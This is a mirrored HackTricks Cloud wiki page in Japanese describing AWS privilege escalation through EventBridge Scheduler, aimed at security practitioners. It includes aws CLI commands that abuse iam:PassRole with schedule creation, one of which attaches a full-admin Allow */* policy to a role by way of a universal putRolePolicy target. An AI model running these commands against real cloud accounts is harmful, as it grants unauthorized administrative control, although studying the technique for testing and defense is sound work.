mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 06:13:16 -08:00
2.4 KiB
2.4 KiB
AWS - EventBridge Scheduler Privesc
{{#include ../../../../banners/hacktricks-training.md}}
EventBridge Scheduler
詳細は EventBridge Scheduler にて:
{{#ref}} ../../aws-services/eventbridgescheduler-enum.md {{#endref}}
iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)
その権限を持つ攻撃者は、create|update により scheduler を作成/更新し、そこに紐づく scheduler role の権限を悪用して任意の操作を実行できます
例えば、スケジュールを構成して、テンプレート化されたアクションである invoke a Lambda function するよう設定できます:
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
テンプレート化された service actions に加えて、EventBridge Scheduler の universal targets を使い、さまざまな AWS サービスの幅広い API 操作を呼び出すことができます。
Universal targets はほぼあらゆる API を呼び出す柔軟性を提供します。
例として、AdminAccessPolicy を追加する universal targets を使用し、putRolePolicy ポリシーを持つロールを用いる方法があります:
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'
参考文献
- https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html
- https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html
{{#include ../../../../banners/hacktricks-training.md}}